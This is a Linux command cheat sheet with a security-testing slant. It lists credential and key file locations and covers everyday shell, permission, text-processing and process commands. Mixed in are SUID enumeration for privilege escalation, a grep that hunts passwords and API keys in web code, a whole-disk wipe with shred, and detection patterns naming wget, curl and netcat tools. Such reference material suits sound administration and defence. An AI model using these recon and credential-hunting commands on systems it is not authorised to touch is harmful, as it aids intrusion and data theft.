Linux Mastery¶

/etc/shadow                      # Password hashes (requires root to read)
/etc/passwd                      # User account database
/etc/group                       # Group definitions
/etc/gshadow                     # Group password hashes
/etc/sudoers                     # Sudo configuration
/etc/sudoers.d/*                 # Additional sudo rules
/etc/security/                   # PAM security configuration

/etc/crontab                     # System cron jobs
/etc/cron.d/*                    # Additional cron jobs
/etc/cron.daily/                 # Daily execution scripts
/etc/cron.hourly/                # Hourly execution scripts
/etc/cron.weekly/                # Weekly execution scripts
/etc/cron.monthly/               # Monthly execution scripts
/var/spool/cron/crontabs/*       # User-specific cron jobs
/etc/systemd/system/             # SystemD service units
/etc/init.d/                     # Legacy init scripts
/etc/rc.local                    # Legacy boot script

/etc/ssh/sshd_config             # SSH daemon configuration
~/.ssh/id_rsa                    # Private SSH key (user)
~/.ssh/id_ed25519                # Modern private SSH key
~/.ssh/authorized_keys           # Authorized public keys
~/.ssh/known_hosts               # Previously connected hosts
~/.ssh/config                    # SSH client configuration
/root/.ssh/                      # Root's SSH directory

/var/log/auth.log                # Authentication events (Debian/Ubuntu)
/var/log/secure                  # Authentication events (RHEL/CentOS)
/var/log/syslog                  # General system log
/var/log/messages                # General system log (RHEL/CentOS)
/var/log/kern.log                # Kernel messages
/var/log/boot.log                # Boot messages
/var/log/apache2/access.log      # Apache access logs
/var/log/apache2/error.log       # Apache error logs
/var/log/nginx/access.log        # Nginx access logs
/var/log/nginx/error.log         # Nginx error logs
/var/log/mysql/error.log         # MySQL error log
~/.bash_history                  # Command history (all users)
~/.zsh_history                   # Zsh command history

/etc/network/interfaces          # Network config (Debian)
/etc/sysconfig/network-scripts/  # Network config (RHEL)
/etc/netplan/                    # Network config (Ubuntu 18.04+)
/etc/hosts                       # Static host mappings
/etc/resolv.conf                 # DNS configuration
/etc/hostname                    # System hostname

/proc/[pid]/cmdline              # Process command line
/proc/[pid]/environ              # Process environment variables
/proc/[pid]/cwd                  # Process current directory
/proc/[pid]/exe                  # Process executable path
/proc/[pid]/fd/                  # Process open file descriptors
/proc/net/tcp                    # Active TCP connections
/proc/net/udp                    # Active UDP connections
/proc/sys/net/                   # Network kernel parameters

~/.aws/credentials               # AWS credentials
~/.aws/config                    # AWS configuration
~/.docker/config.json            # Docker registry credentials
~/.kube/config                   # Kubernetes configuration
~/.config/                       # Application configurations
~/.local/share/                  # Application data
/opt/*/config/                   # Third-party app configs
/var/www/.env                    # Web app environment variables

pwd
# Output: /home/ox_1ris/tools/exploits

cd /var/log
pwd
# Output: /var/log

cd /var/log                      # Absolute path from root
cd ../..                         # Relative path (up two levels)
cd ~                             # Jump to home directory
cd -                             # Return to previous directory (super useful)
cd                              # Also goes to home (shorthand)
cd /etc/apache2/sites-enabled    # Deep absolute path
cd ~/Documents/projects/         # Home-relative path

ls                               # Basic listing
ls -l                            # Long format (permissions , owner , size , date)
ls -la                           # Include hidden files (starting with .)
ls -lh                           # Human-readable file sizes (KB , MB , GB)
ls -lt                           # Sort by modification time (newest first)
ls -latr                         # All files , long , sorted by time , reversed (oldest first)
ls -lS                           # Sort by file size (largest first)
ls -R                            # Recursive (show subdirectories)
ls -i                            # Show inode numbers
ls -d */                         # List only directories
ls *.txt                         # Wildcard filter
ls -l /etc/*.conf                # List all .conf files in /etc/

ls *.log                         # All files ending in .log
ls test*                         # All files starting with test
ls file?.txt                     # Single character wildcard (file1.txt , file2.txt)
ls file[0-9].txt                 # Character range (file0.txt through file9.txt)
ls *.{jpg,png,gif}               # Multiple extensions

touch newfile.txt                                    # Create empty file
touch file1.txt file2.txt file3.txt                  # Create multiple
touch /tmp/test                                      # Create in specific location
touch -t 202301011200 evidence.txt                   # Set specific timestamp
touch -a file.txt                                    # Update only access time
touch -m file.txt                                    # Update only modification time
touch -c file.txt                                    # Don't create if doesn't exist

mkdir newdir                                         # Single directory
mkdir dir1 dir2 dir3                                 # Multiple directories
mkdir -p path/to/deeply/nested/directory             # Create parent directories
mkdir -m 700 private                                 # Create with specific permissions
mkdir -p ~/tools/{exploits,payloads,loot}            # Create multiple with brace expansion

cp source.txt destination.txt                        # Copy file
cp file.txt /tmp/                                    # Copy to directory
cp -r directory/ /backup/                            # Recursive copy for directories
cp -a /etc/nginx/ /backup/nginx/                     # Archive mode (preserves everything)
cp -p file.txt dest/                                 # Preserve timestamps and permissions
cp -u file.txt dest/                                 # Update only if source is newer
cp -v file.txt dest/                                 # Verbose (show what's being copied)
cp *.txt backup/                                     # Copy all .txt files
cp file.{txt,bak}                                    # Create file.bak from file.txt

mv oldname.txt newname.txt                           # Rename file
mv file.txt /tmp/                                    # Move to directory
mv *.log /var/log/archive/                           # Move multiple files
mv -i important.conf backup/                         # Interactive (prompt before overwrite)
mv -v file.txt dest/                                 # Verbose output
mv -n file.txt dest/                                 # No-clobber (don't overwrite)
mv source/ dest/                                     # Rename directory

rm file.txt                                          # Remove file
rm -r directory/                                     # Remove directory and contents
rm -f locked.txt                                     # Force removal (no confirmation)
rm -i important.txt                                  # Interactive (confirm each deletion)
rm -v file.txt                                       # Verbose
rm -rf /tmp/old_project/                             # Nuclear option (DANGEROUS)
rm *.tmp                                             # Remove all .tmp files
rm -rf ~/.cache/*                                    # Clear cache

shred -u -z -n 7 sensitive.txt                       # 7 passes , zeros , then delete
shred -u -v credentials.key                          # Verbose secure deletion
shred -n 3 /dev/sdb                                  # Wipe entire disk
shred -vfz file.txt                                  # Verbose , force , zero

rm test*                                             # Remove all files starting with test
cp *.{txt,md} backup/                                # Copy .txt and .md files
mv project_[0-9].log archive/                        # Move numbered log files
rm -rf temp temp[0-9] temp_*                         # Multiple patterns

cat /etc/passwd                                      # Display file
cat file1.txt file2.txt                              # Display multiple sequentially
cat file1.txt file2.txt > combined.txt               # Concatenate files
cat > newfile.txt                                    # Create file (Ctrl+D to finish)
cat >> file.txt                                      # Append to file
cat -n file.txt                                      # Number all lines
cat -b file.txt                                      # Number non-empty lines
cat -A file.txt                                      # Show all characters (tabs , newlines)

less /var/log/syslog                                 # Open file in pager
less +F /var/log/auth.log                            # Follow mode (like tail -f)
less -N file.txt                                     # Show line numbers
less -S file.txt                                    # Chop long lines (no wrap)
less +G file.txt                                     # Start at end of file

more file.txt                                        # Basic paging
more -d file.txt                                     # Display help prompts

head file.txt                                        # First 10 lines
head -n 20 access.log                                # First 20 lines
head -c 500 binary                                   # First 500 bytes
head -n -10 file.txt                                 # All except last 10 lines
head -n 5 *.log                                      # First 5 lines of each log file

tail file.txt                                        # Last 10 lines
tail -n 50 error.log                                 # Last 50 lines
tail -f /var/log/auth.log                            # Follow mode (watch in real-time)
tail -F /var/log/syslog                              # Follow with file rotation handling
tail -n +10 file.txt                                 # Start from line 10 to end
tail -n 100 -f application.log                       # Last 100 lines then follow

wc file.txt                                          # Lines , words , bytes
wc -l file.txt                                       # Count lines only
wc -w file.txt                                       # Count words
wc -c file.txt                                       # Count bytes
wc -m file.txt                                       # Count characters
cat /etc/passwd | wc -l                              # Count users

strings binary_file                                  # Extract ASCII strings
strings -n 10 malware                                # Minimum 10 characters
strings -e l binary                                  # 16-bit little-endian
strings -a binary | grep -i password                 # Search for keywords

hexdump -C file.bin                                  # Canonical hex-dump
xxd file.bin                                         # Hex dump with ASCII
xxd -r dump.txt output.bin                           # Reverse (hex to binary)
hexdump -n 100 -C binary                             # First 100 bytes

-rwxr-xr-- 1 ox_1ris security 4096 Nov 28 15:00 exploit.sh

rwx = 4+2+1 = 7 (full access)
rw- = 4+2+0 = 6 (read write)
r-x = 4+0+1 = 5 (read execute)
r-- = 4+0+0 = 4 (read only)
-wx = 0+2+1 = 3 (write execute)
-w- = 0+2+0 = 2 (write only)
--x = 0+0+1 = 1 (execute only)
--- = 0+0+0 = 0 (no access)

755  # rwxr-xr-x - Standard for executables (owner full , others read+execute)
644  # rw-r--r-- - Standard for text files (owner write , others read)
600  # rw------- - Private files like SSH keys (owner only)
700  # rwx------ - Private directories (owner only)
400  # r-------- - Read-only by owner (immutable configs)
777  # rwxrwxrwx - World-writable (security nightmare , avoid always)
000  # --------- - No permissions for anyone (system may still allow owner)

chmod 755 script.sh                      # rwxr-xr-x (standard executable)
chmod 600 ~/.ssh/id_rsa                  # rw------- (private SSH key)
chmod 644 config.txt                     # rw-r--r-- (readable config)
chmod 700 ~/.ssh                         # rwx------ (SSH directory)
chmod 400 /etc/sensitive.conf            # r-------- (read-only config)
chmod 666 shared.txt                     # rw-rw-rw- (shared file)
chmod 777 /tmp/share                     # rwxrwxrwx (DANGEROUS world writable)

chmod u+x script.sh                      # Add execute for owner
chmod g-w file.txt                       # Remove write from group
chmod o+r document.txt                   # Add read for others
chmod a+x program                        # Add execute for all (a = all)
chmod u=rwx,g=rx,o=r file.txt           # Set specific permissions
chmod +x script.sh                       # Add execute to current permissions
chmod -R 755 directory/                  # Recursive (all files in directory)
chmod u+s program                        # Add SUID bit (covered next section)
chmod g+s directory/                     # Add SGID bit
chmod +t /tmp/shared                     # Add sticky bit

# Secure SSH keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/id_rsa.pub
chmod 600 ~/.ssh/authorized_keys
chmod 600 ~/.ssh/config

# Secure web directory
chmod 755 /var/www/html
chmod 644 /var/www/html/*.html
chmod 644 /var/www/html/*.php

# Lock down sensitive files
chmod 600 ~/.aws/credentials
chmod 600 ~/.kube/config
chmod 400 /etc/shadow

# Make scripts executable
find ~/scripts -name "*.sh" -exec chmod +x {} \;

chmod -R 755 /var/www/html               # All files and directories
find /path -type f -exec chmod 644 {} \; # Files only
find /path -type d -exec chmod 755 {} \; # Directories only

chown user file.txt                      # Change owner only
chown user:group file.txt                # Change owner and group
chown :group file.txt                    # Change group only (same as chgrp)
chown -R user:group directory/           # Recursive
chown --reference=ref.txt target.txt     # Match permissions from another file

# Fix web server ownership
chown -R www-data:www-data /var/www/html

# Change ownership of home directory
chown -R username:username /home/username

# Root ownership for system files
chown root:root /etc/ssh/sshd_config
chown root:root /usr/local/bin/admin_tool

# Application ownership
chown -R mysql:mysql /var/lib/mysql
chown -R postgres:postgres /var/lib/postgresql

# Secure configuration file
chown root:root /etc/important.conf
chmod 600 /etc/important.conf

# Web application setup
chown -R www-data:www-data /var/www/app
find /var/www/app -type d -exec chmod 755 {} \;
find /var/www/app -type f -exec chmod 644 {} \;

chmod u+s /usr/bin/program               # Add SUID
chmod 4755 /usr/bin/program              # Octal (4 = SUID bit)
ls -l /usr/bin/passwd                    # Shows -rwsr-xr-x (note the 's')

ls -l /usr/bin/passwd                    # -rwsr-xr-x (allows users to change passwords)
ls -l /usr/bin/sudo                      # -rwsr-xr-x (elevate privileges)
ls -l /bin/ping                          # -rwsr-xr-x (send ICMP as root)

chmod g+s program                        # Program runs as file's group
chmod 2755 program                       # Octal (2 = SGID bit)

chmod g+s /shared/project                # New files inherit directory's group
chmod 2775 /shared/team                  # Octal notation

chmod +t /shared/public                  # Add sticky bit
chmod 1777 /tmp                          # Octal (1 = sticky bit)
ls -ld /tmp                              # Shows drwxrwxrwt (note the 't')

4755  # SUID + rwxr-xr-x
2755  # SGID + rwxr-xr-x
1777  # Sticky + rwxrwxrwx
6755  # SUID + SGID + rwxr-xr-x
7755  # SUID + SGID + Sticky + rwxr-xr-x

find / -perm -4000 -type f 2>/dev/null                       # All SUID files
find / -perm -u=s -type f 2>/dev/null                        # Alternative syntax
find / -user root -perm -4000 -type f 2>/dev/null            # SUID files owned by root
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null    # Detailed listing

find / -perm -2000 -type f 2>/dev/null                       # All SGID files
find / -perm -g=s -type f 2>/dev/null                        # Alternative syntax

find / -perm -6000 -type f 2>/dev/null                       # SUID or SGID
find / \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null  # Either bit set

# Find SUID binaries not in standard locations
find / -perm -4000 -type f 2>/dev/null | grep -v "/usr/bin\|/bin\|/usr/sbin"

# Compare against baseline
find / -perm -4000 -type f 2>/dev/null | sort > current_suid.txt
diff baseline_suid.txt current_suid.txt

# Programs that might spawn shells
find / -perm -4000 -name "*sh*" 2>/dev/null
find / -perm -4000 -name "python*" 2>/dev/null

# Check for world-writable SUID (extremely dangerous)
find / -perm -4002 -type f 2>/dev/null

ln source.txt hardlink.txt                           # Create hard link
ls -li source.txt hardlink.txt                       # Show same inode number

ln -s /path/to/original.txt link.txt                 # Create symlink
ln -s /usr/local/bin/python3 /usr/bin/python         # Version management
ls -l link.txt                                       # Shows -> target
readlink link.txt                                    # Show symlink target

find / -xtype l 2>/dev/null                          # Find broken symlinks
find / -type l ! -exec test -e {} \; -print 2>/dev/null

lsattr file.txt                                      # View current attributes
chattr +i important.conf                             # Make immutable
chattr -i important.conf                             # Remove immutable
chattr +a logfile.log                                # Append-only mode
chattr +c data.txt                                   # Enable compression
chattr +s secure.key                                 # Secure deletion

chattr +i /etc/passwd
chattr +i /etc/shadow
chattr +i /etc/sudoers
chattr +i /boot/grub/grub.cfg

chattr +a /var/log/auth.log
chattr +a /var/log/syslog

find /tmp -type f -exec lsattr {} \; | grep "\-\-i"
find /var/www -type f -exec lsattr {} \; | grep "\-\-i"
lsattr -R /home | grep "^\-\-\-\-i"

command > file.txt                                   # Overwrite file with stdout
command >> file.txt                                  # Append stdout to file
command 2> error.log                                 # Redirect stderr to file
command > out.log 2>&1                               # Redirect both to same file
command &> combined.log                              # Shorthand for both streams
command > /dev/null 2>&1                             # Discard all output

command < input.txt                                  # Read from file
command << EOF                                       # Here document
multi
line
input
EOF
command <<< "single line"                            # Here string

nmap 192.168.1.0/24 > scan_results.txt 2>&1
find / -name "*.conf" 2>/dev/null > configs.txt
grep "Failed" /var/log/auth.log >> failed_logins.txt
./exploit.sh > output.log 2> errors.log

command1 | command2                                  # Single pipe
command1 | command2 | command3                       # Multiple pipes
command1 2>&1 | command2                             # Include stderr in pipe

# Count results
ps aux | wc -l
grep "error" syslog | wc -l

# Page through output
dmesg | less
cat large_file.txt | less

# Filter and process
ps aux | grep apache | awk '{print $2}'
cat /etc/passwd | cut -d: -f1 | sort

# Remove duplicates
history | cut -d' ' -f4- | sort | uniq

command | tee output.txt                             # Save and display
command | tee -a log.txt                             # Append mode
command | tee file1.txt file2.txt                    # Multiple files
ls -la | tee listing.txt | grep "^d"                 # Save and continue processing

# Extract and count attacking IPs
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head -20

# Find processes by memory usage
ps aux | sort -k4 -rn | head -10

# Analyze web server requests
cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn

# Extract unique domains from URLs
grep -oE "https?://[^/]+" urls.txt | sort -u

# Monitor live authentication attempts
tail -f /var/log/auth.log | grep --line-buffered "Failed"

grep "pattern" file.txt                              # Basic search
grep -i "error" log.txt                              # Case-insensitive
grep -v "DEBUG" app.log                              # Invert (exclude matches)
grep -n "TODO" code.py                               # Show line numbers
grep -c "GET" access.log                             # Count matches
grep -l "password" *.txt                             # List matching files
grep -w "root" /etc/passwd                           # Match whole word
grep -x "exact line" file.txt                        # Match entire line

grep -A 5 "error" log.txt                            # Show 5 lines After match
grep -B 5 "error" log.txt                            # Show 5 lines Before
grep -C 5 "error" log.txt                            # Show 5 lines Context (both directions)

grep -r "password" /etc/                             # Recursive search
grep -R "config" /var/www/                           # Follow symlinks
grep -r --include="*.conf" "server" /etc/            # Only .conf files
grep -r --exclude="*.log" "pattern" /var/            # Exclude .log files
grep -r --exclude-dir=".git" "function" ./           # Exclude directories

grep -E "error|warning|critical" syslog              # Multiple patterns (OR)
grep -E "^[0-9]+" file.txt                           # Lines starting with digits
grep -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" log.txt  # IP addresses
grep -E "(http|https|ftp)://[^ ]+" urls.txt          # Extract URLs

# Failed SSH authentication
grep "Failed password" /var/log/auth.log

# Successful root logins
grep "Accepted.*root" /var/log/auth.log

# Sudo command execution
grep "COMMAND" /var/log/auth.log

# Potential SQL injection attempts
grep -i "union.*select\|concat.*char" /var/log/apache2/access.log

# Find credentials in files
grep -r -i "password\s*=\|api_key\s*=" /var/www/ --include="*.php"

# Extract email addresses
grep -oE "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b" documents.txt

# Hunt for suspicious cron jobs
grep -r "wget\|curl\|bash\|sh" /etc/cron* /var/spool/cron* 2>/dev/null

.          # Any single character except newline
^          # Start of line
$          # End of line
*          # Zero or more of preceding element
+          # One or more (extended regex -E)
?          # Zero or one (extended regex -E)
[]         # Character class
[^]        # Negated character class
|          # Alternation OR (extended regex -E)
()         # Grouping (extended regex -E)
\          # Escape special character

[abc]      # Match a , b , or c
[a-z]      # Any lowercase letter
[A-Z]      # Any uppercase letter
[0-9]      # Any digit
[a-zA-Z0-9]  # Alphanumeric
[^0-9]     # NOT a digit

*          # 0 or more
+          # 1 or more (use -E flag)
?          # 0 or 1 (use -E flag)
{n}        # Exactly n times
{n,}       # n or more
{n,m}      # Between n and m times

^pattern   # Start of line
pattern$   # End of line
\bword\b   # Word boundary
^$         # Empty line

# IPv4 address
grep -E "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" log.txt

# Email
grep -E "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" contacts.txt

# URL
grep -E "https?://[a-zA-Z0-9./?=_-]+" file.txt

# MAC address
grep -E "([0-9A-Fa-f]{2}:){5}[[0-9A-Fa-f]{2}" network.log

# Date YYYY-MM-DD
grep -E "[0-9]{4}-[0-9]{2}-[0-9]{2}" logs.txt

# Phone number US format
grep -E "\(?[0-9]{3}\)?[-. ]?[0-9]{3}[-. ]?[0-9]{4}" contacts.txt

# Credit card (basic pattern)
grep -E "[0-9]{4}[- ]?[0-9]{4}[- ]?[0-9]{4}[- ]?[0-9]{4}" data.txt

awk '{print}' file.txt                               # Print all lines
awk '{print $1}' file.txt                            # First column
awk '{print $1, $3}' file.txt                        # Columns 1 and 3
awk '{print $NF}' file.txt                           # Last column
awk '{print NR, $0}' file.txt                        # Add line numbers

awk -F: '{print $1}' /etc/passwd                     # Colon separator
awk -F',' '{print $2, $4}' data.csv                  # Comma separator
awk -F'[,:]' '{print $1}' file.txt                   # Multiple separators
awk 'BEGIN {FS=":"} {print $1, $7}' /etc/passwd      # Set FS in BEGIN

awk '/error/ {print}' log.txt                        # Lines containing "error"
awk '!/DEBUG/ {print}' app.log                       # Exclude pattern
awk '$3 > 1000 {print $1, $3}' data.txt              # Numeric condition
awk 'NR > 10 {print}' file.txt                       # Skip first 10 lines
awk 'NR >= 5 && NR <= 15 {print}' file.txt           # Line range
awk 'length($0) > 100 {print}' file.txt              # Long lines

$0         # Entire line
$1..$NF    # Field values
NF         # Number of fields in current record
NR         # Current record number (line number)
FNR        # Record number in current file
FS         # Input field separator
OFS        # Output field separator
RS         # Input record separator
ORS        # Output record separator
FILENAME   # Current filename

awk '{sum += $3} END {print sum}' numbers.txt        # Sum column 3
awk '{sum += $3; count++} END {print sum/count}' data.txt  # Average
awk '{total += $2} END {print total/1024/1024 " MB"}' sizes.txt  # Convert to MB
awk 'BEGIN {max=0} {if($3 >max) max=$3} END {print max}' data.txt  # Maximum

# Extract all usernames
awk -F: '{print $1}' /etc/passwd

# Normal users (UID >= 1000)
awk -F: '$3 >= 1000 {print $1, $3, $7}' /etc/passwd

# Count requests per IP
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20

# Failed password attempts with details
awk '/Failed password/ {print $1, $2, $3, $9, "from", $11}' /var/log/auth.log

# Calculate total bandwidth
awk '{sum += $10} END {print "Total:", sum/1024/1024, "MB"}' access.log

# High CPU processes
ps aux | awk '$3 > 50.0 {print $1, $2, $3, $11}'

# Extract listening ports
ss -tulpn | awk 'NR>1 {split($5,a,":"); print a[length(a)]}' | sort -u

# BEGIN and END blocks
awk 'BEGIN {print "Report Started"} {print $0} END {print "Total Lines:", NR}' file.txt

# String functions
awk '{print toupper($1)}' file.txt                   # Convert to uppercase
awk '{print substr($0,1,20)}' file.txt               # Extract substring
awk '{print length($0)}' file.txt                    # Line length

# Arrays
awk '{count[$1]++} END {for(ip in count) print ip, count[ip]}' access.log

# Multiple conditions
awk '{if($3>100) print $1,"HIGH"; else if($3>50) print $1,"MEDIUM"; else print $1,"LOW"}' data.txt

sed 's/old/new/' file.txt                            # Replace first occurrence per line
sed 's/old/new/g' file.txt                           # Global replace (all occurrences)
sed 's/old/new/gi' file.txt                          # Case-insensitive global
sed 's/old/new/3' file.txt                           # Replace 3rd occurrence
sed -i 's/old/new/g' file.txt                        # In-place edit
sed -i.bak 's/old/new/g' file.txt                    # In-place with backup

sed -n '10p' file.txt                                # Print line 10 only
sed -n '10,20p' file.txt                             # Print lines 10-20
sed -n '/pattern/p' file.txt                         # Print matching lines
sed -n '/start/,/end/p' file.txt                     # Print between patterns
sed -n '1,5p' file.txt                               # First 5 lines

sed '/pattern/d' file.txt                            # Delete matching lines
sed '10d' file.txt                                   # Delete line 10
sed '10,20d' file.txt                                # Delete lines 10-20
sed '/^$/d' file.txt                                 # Delete empty lines
sed '/^#/d' file.txt                                 # Delete comment lines
sed '/^\s*$/d' file.txt                              # Delete empty or whitespace-only

sed '5i\New text' file.txt                           # Insert before line 5
sed '5a\New text' file.txt                           # Append after line 5
sed '/pattern/i\New line' file.txt                   # Insert before match
sed '/pattern/a\New line' file.txt                   # Append after match

sed 's/^/PREFIX: /' file.txt                         # Add prefix to every line
sed 's/$/SUFFIX/' file.txt                           # Add suffix
sed 's/  */ /g' file.txt                             # Squeeze multiple spaces
sed 's/^[ \t]*//' file.txt                           # Remove leading whitespace
sed 's/[ \t]*$//' file.txt                           # Remove trailing whitespace
sed 's/\r$//' windows.txt                            # Remove Windows carriage returns

sed 's/foo/bar/g; s/old/new/g' file.txt              # Multiple substitutions
sed -e 's/foo/bar/g' -e 's/old/new/g' file.txt       # Alternative syntax
sed -f script.sed input.txt                          # Execute commands from file

# Remove comments and empty lines
sed '/^#/d; /^$/d' /etc/ssh/sshd_config

# Sanitize IPs in logs
sed 's/[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}/XXX.XXX.XXX.XXX/g' auth.log

# Extract URLs from HTML
sed -n 's/.*href="\([^"]*\)".*/\1/p' index.html

# Comment out configuration lines
sed '/^Port/s/^/#/' sshd_config

# Uncomment lines
sed '/^#.*PermitRootLogin/s/^#//' sshd_config

# Change all IP occurrences
sed -i 's/192\.168\.1\./10.0.0./g' network_config.txt

# Remove ANSI color codes
sed 's/\x1b\[[0-9;]*m//g' colored_output.txt

cut -d: -f1 /etc/passwd                              # Extract usernames
cut -d: -f1,7 /etc/passwd                            # Username and shell
cut -d: -f1-3 /etc/passwd                            # Fields 1 through 3
cut -d',' -f2,4 data.csv                             # CSV columns 2 and 4
echo "192.168.1.100" | cut -d. -f1-3                 # First 3 octets

cut -c1-10 file.txt                                  # Characters 1-10
cut -c5- file.txt                                    # From character 5 to end
cut -c-20 file.txt                                   # First 20 characters

# Extract just IP addresses from custom format log
cut -d' ' -f1 access.log | sort | uniq

# Get all shells in use
cut -d: -f7 /etc/passwd | sort | uniq

# Extract process names
ps aux | tr -s ' ' | cut -d' ' -f11

# Parse colon-delimited data
cat data.txt | cut -d: -f2,3,5

sort file.txt                                        # Alphabetical sort
sort -r file.txt                                     # Reverse order
sort -n numbers.txt                                  # Numeric sort
sort -h filesizes.txt                                # Human-readable numbers (1K , 2M)
sort -u file.txt                                     # Sort and remove duplicates

sort -k 2 data.txt                                   # Sort by column 2
sort -k 2,2 -k 3,3 data.txt                          # Sort by columns 2 then 3
sort -t: -k3 -n /etc/passwd                          # Numeric sort by UID
sort -t',' -k2 -rn data.csv                          # Reverse numeric on 2nd field

sort file.txt | uniq                                 # Remove adjacent duplicates
sort file.txt | uniq -c                              # Count occurrences
sort file.txt | uniq -d                              # Show only duplicates
sort file.txt | uniq -u                              # Show only unique lines

# Top attacking IPs
awk '{print $1}' access.log |

 sort | uniq -c | sort -rn | head -20

# Count unique error messages
grep "error" app.log | sort | uniq -c | sort -rn

# Find duplicate entries
sort /etc/passwd | uniq -d

# Top requested URLs
awk '{print $7}' access.log | sort | uniq -c | sort -rn | head -10

# Numeric sort by file size
ls -l | awk '{print $5, $9}' | sort -nr

echo "hello" | tr 'a-z' 'A-Z'                        # Uppercase
echo "192.168.1.1" | tr '.' '\n'                     # Replace dots
echo "hello world" | tr ' ' '_'                      # Replace spaces
echo "hello123" | tr -d '0-9'                        # Delete digits
cat file.txt | tr -d '\r'                            # Remove carriage returns
echo "a  b    c" | tr -s ' '                         # Squeeze multiple spaces

wc -l file.txt                                       # Count lines
wc -w file.txt                                       # Count words
wc -c file.txt                                       # Count bytes
grep "Failed" /var/log/auth.log | wc -l              # Count matches
ps aux | wc -l                                       # Count processes

diff file1.txt file2.txt                             # Show changes
diff -u file1.txt file2.txt                          # Unified format
diff -r dir1/ dir2/                                  # Directory comparison
diff -u old.conf new.conf > changes.patch            # Create patch
patch old.conf < changes.patch                       # Apply patch

# Top attacking IPs
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn | head -10

# Find large recent files
find / -type f -mtime -7 2>/dev/null | xargs ls -lh | awk '$5 ~ /G/ {print}'

# Process memory ranking
ps aux | awk '{print $6/1024, $11}' | sort -rn | head -15

# Network connections by state
ss -tan | awk 'NR>1 {print $1}' | sort | uniq -c

ps -p $$ -o pid,ppid,cmd,state,nice,%cpu,%mem        # Current shell process
ps aux | head                                        # All processes
cat /proc/$$/status                                  # Detailed process info

ps aux                                               # All processes , all users
ps -ef                                               # Alternative full format
ps -u username                                       # Processes by specific user
ps -p 1234                                           # Specific PID
ps -C apache2                                        # Processes by command name
ps --forest                                          # Tree view (parent-child)
ps aux --sort=-%mem                                  # Sort by memory usage
ps aux --sort=-%cpu                                  # Sort by CPU usage
ps -eo pid,ppid,cmd,%mem,%cpu --sort=-%mem | head   # Custom columns

USER    - Process owner
PID     - Process ID
%CPU    - CPU usage percentage
%MEM    - Memory usage percentage
VSZ     - Virtual memory size (KB)
RSS     - Resident set size (physical memory in KB)
TTY     - Controlling terminal (? means no terminal)
STAT    - Process state (R,S,D,Z,T,I with modifiers)
START   - Start time
TIME    - Cumulative CPU time
COMMAND - Command with arguments

ps aux | grep root                                   # Root-owned processes
ps -u www-data                                       # Web server processes
ps aux | grep -E "nc|ncat|socat"                     # Network tools running
ps -eo pid,user,args | grep -v "^\[.*\]"            # Non-kernel processes
ps aux --forest | grep -A 5 -B 5 suspicious_proc     # Process tree context

top                                                  # Start top

top -u username                                      # Monitor specific user
top -p 1234,5678                                     # Monitor specific PIDs
top -b -n 1                                          # Batch mode (one iteration)
top -d 5                                             # Update every 5 seconds

htop                                                 # Start htop

pstree                                               # Show full process tree
pstree -p                                            # Include PIDs
pstree -u                                            # Show user transitions
pstree username                                      # Tree for specific user
pstree -a                                            # Show command arguments
pstree -h                                            # Highlight current process
pstree -H 1234                                       # Highlight specific PID

systemd(1)───sshd(850)───sshd(1523)───bash(1524)───pstree(1600)

pstree -p | grep -A 5 -B 5 suspicious                # Context around suspicious process
pstree -u | grep www-data                            # Web server process tree
pstree -p $(pgrep malware)                           # Tree of specific process

Signal  Number  Description
SIGHUP    1     Hangup (reload configuration)
SIGINT    2     Interrupt (Ctrl+C)
SIGQUIT   3     Quit (Ctrl+\)
SIGKILL   9     Kill (cannot be caught or ignored)
SIGTERM  15     Termination (graceful shutdown)
SIGSTOP  19     Stop (cannot be caught)
SIGCONT  18     Continue if stopped
SIGUSR1  10     User-defined signal 1
SIGUSR2  12     User-defined signal 2

kill 1234                                            # Send SIGTERM (15)
kill -9 1234                                         # Send SIGKILL (force)
kill -HUP 1234                                       # Send SIGHUP (reload)
kill -STOP 1234                                      # Pause process
kill -CONT 1234                                      # Resume process
kill -l                                              # List all signals
killall process_name                                 # Kill by name
killall -9 hung_process                              # Force kill by name
pkill pattern                                        # Kill by pattern match
pkill -9 -u baduser                                  # Force kill user's processes

# Cannot kill process with SIGTERM
kill -9 rootkit_pid                                  # Force termination

# Reload service configuration
kill -HUP $(cat /var/run/nginx.pid)

# Mass termination
pkill -9 -u compromised_user                         # Kill all user processes

./long_script.sh &                                   # Start in background
# [1] 1234 (job number and PID displayed)

jobs                                                 # List background jobs
jobs -l                                              # Include PIDs
fg                                                   # Bring most recent to foreground
fg %1                                                # Bring job 1 to foreground
bg                                                   # Resume suspended job in background
bg %2                                                # Resume job 2 in background

# Running command in foreground
Ctrl+Z                                               # Suspend current process
# [1]+ Stopped ./script.sh

bg                                                   # Continue in background
fg                                                   # Bring back to foreground

%1      - Job number 1
%str    - Job starting with str
%?str   - Job containing str
%%      - Current job
%+      - Current job
%-      - Previous job

kill %1                                              # Kill job 1
kill %?script                                        # Kill job matching pattern

nice -n 10 ./cpu_intensive.sh                        # Low priority (10)
nice -n -5 ./important.sh                            # High priority (-5, requires root)
nice --10 ./script.sh                                # Alternative syntax

renice -n 5 -p 1234                                  # Change PID 1234 to nice 5
renice -n 10 -u username                             # Change all user's processes
renice -n -10 -p 1234                                # Increase priority (requires root)

ps -o pid,nice,cmd                                   # Show nice values
ps -eo pid,ni,cmd --sort=-ni                         # Sort by nice value
top                                                  # Shows NI column

Nice  Priority  Use Case
-20   Highest   Critical system processes
-10   High      Important services
0     Normal    Default (most processes)
10    Low       Background tasks
19    Lowest    Batch processing

renice -n 19 -u untrusted_user                       # Lowest priority for user
nice -n 15 ./suspicious_binary                       # Run untrusted code with low priority

screen                                               # Start new session
screen -S session_name                               # Named session
screen -ls                                           # List sessions
screen -r                                            # Reattach to session
